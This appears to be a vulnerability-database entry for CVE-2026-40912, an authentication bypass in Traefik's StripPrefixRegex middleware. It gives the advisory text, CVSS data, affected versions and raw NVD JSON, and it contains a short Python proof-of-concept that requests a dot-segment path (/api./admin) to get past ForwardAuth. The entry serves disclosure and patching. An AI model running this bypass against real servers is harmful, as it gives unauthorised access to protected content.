Security Vulnerability Report
中文
CVE-2026-40912 CVSS 8.2 HIGH

CVE-2026-40912

Published: 2026-04-30 21:16:33
Last Modified: 2026-05-01 17:42:32

Description

Traefik is an HTTP reverse proxy and load balancer. Prior to versions 2.11.43, 3.6.14, and 3.7.0-rc.2, there is a high severity authentication bypass vulnerability in Traefik's StripPrefixRegex middleware when used in combination with ForwardAuth, BasicAuth, or DigestAuth. The middleware matches the regex against the decoded URL path but uses the resulting byte length to slice the percent-encoded raw path. When a dot (or multiple dots) appears in the prefix portion of the URL, the raw path after stripping becomes a dot-segment (e.g. /./admin/secret). ForwardAuth receives this dot-segment path in X-Forwarded-Uri, which does not match the protected path patterns and therefore allows the request through. The backend then normalizes the dot-segment to the real path per RFC 3986 and serves the protected content An unauthenticated attacker can exploit this against any backend that performs dot-segment normalization. This issue has been patched in versions 2.11.43, 3.6.14, and 3.7.0-rc.2.

CVSS Details

CVSS Score
8.2
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:traefik:traefik:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:traefik:traefik:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:traefik:traefik:3.7.0:ea1:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:traefik:traefik:3.7.0:ea2:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:traefik:traefik:3.7.0:ea3:*:*:*:*:*:* - VULNERABLE
Traefik < 2.11.43
Traefik < 3.6.14
Traefik < 3.7.0-rc.2

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests # Exploit Title: Traefik StripPrefixRegex Authentication Bypass (CVE-2026-40912) # Description: This PoC demonstrates bypassing ForwardAuth using dot-segments. # Scenario: # Target uses StripPrefixRegex with regex "/api" to strip prefix. # ForwardAuth protects "/admin". # Vulnerable path: /api./admin # Normal blocked request (for reference): # url = "http://target.com/api/admin" # Malicious bypass request: # The dot after 'api' causes the slice logic to produce './admin' for the auth check. url = "http://target.com/api./admin" headers = { "User-Agent": "CVE-2026-40912-Scanner" } try: response = requests.get(url, headers=headers, timeout=5) if response.status_code == 200: print("[+] Exploit Successful! Authentication bypassed.") print(f"[+] Response Length: {len(response.text)}") print(f"[+] Response Snippet: {response.text[:200]}") elif response.status_code == 401 or response.status_code == 403: print("[-] Exploit Failed. Authentication is enforced.") else: print(f"[?] Unexpected Status Code: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[!] Error connecting to target: {e}")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-40912", "sourceIdentifier": "[email protected]", "published": "2026-04-30T21:16:32.740", "lastModified": "2026-05-01T17:42:32.060", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Traefik is an HTTP reverse proxy and load balancer. Prior to versions 2.11.43, 3.6.14, and 3.7.0-rc.2, there is a high severity authentication bypass vulnerability in Traefik's StripPrefixRegex middleware when used in combination with ForwardAuth, BasicAuth, or DigestAuth. The middleware matches the regex against the decoded URL path but uses the resulting byte length to slice the percent-encoded raw path. When a dot (or multiple dots) appears in the prefix portion of the URL, the raw path after stripping becomes a dot-segment (e.g. /./admin/secret). ForwardAuth receives this dot-segment path in X-Forwarded-Uri, which does not match the protected path patterns and therefore allows the request through. The backend then normalizes the dot-segment to the real path per RFC 3986 and serves the protected content An unauthenticated attacker can exploit this against any backend that performs dot-segment normalization. This issue has been patched in versions 2.11.43, 3.6.14, and 3.7.0-rc.2."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:N/SC:H/SI:L/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "HIGH", "subIntegrityImpact": "LOW", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N", "baseScore": 8.2, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 4.2}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-706"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:traefik:traefik:*:*:*:*:*:*:*:*", "versionEndExcluding": "2.11.43", "matchCriteriaId": "71119432-1348-4F69-A0E3-FA74592FA7EE"}, {"vulnerable": true, "criteria": "cpe:2.3:a:traefik:traefik:*:*:*:*:*:*:*:*", "versionStartIncluding": "3.0.0", "versionEndExcluding": "3.6.14", "matchCriteriaId": "AA7AAE16-BBAD-434D-89F5-D52359D11D36"}, {"vulnerable": true, "criteria": "cpe:2.3:a:traefik:traefik:3.7.0:ea1:*:*:*:*:*:*", "matchCriteriaId": "7881B288-5141-4508-AB71-3F7586168437"}, {"vulnerable": true, "criteria": "cpe:2.3:a:traefik:traefik:3.7.0:ea2:*:*:*:*:*:*", "matchCriteriaId": "AE5788A2-CCF9-4E87-8B94-133874F99CAE"}, {"vulnerable": true, "criteria": "cpe:2.3:a:traefik:traefik:3.7.0:ea3:*:*:*:*:*:*", "matchCriteriaId": "B133B8F6-1C34-4354-9C1C-A5E063D27BC6"}, {"vulnerable": true, "criteria": "cpe:2.3:a:traefik:traefik:3.7.0:rc1:*:*:*:*:*:*", "matchCriteriaId": "976D40ED-187E-4C95-BB5A-126F06B8FAD9"}]}]}], "references": [{"url": "https://github.com/traefik/traefik/releases/tag/v2.11.43", "source": "[email protected]", "tags": ["Product", "Release Notes"]}, {"url": "https://github.com/traefik/traefik/releases/tag/v3.6.14", "source": "[email protected]", "tags": ["Product", "Release Notes"]}, {"url": "https://github.com/traefik/traefik/releases/tag/v3.7.0-rc.2", "source": "[email protected]", "tags": ["Product", "Release Notes"]}, {"url": "https://github.com/traefik/traefik/security/advisories/G ... (truncated)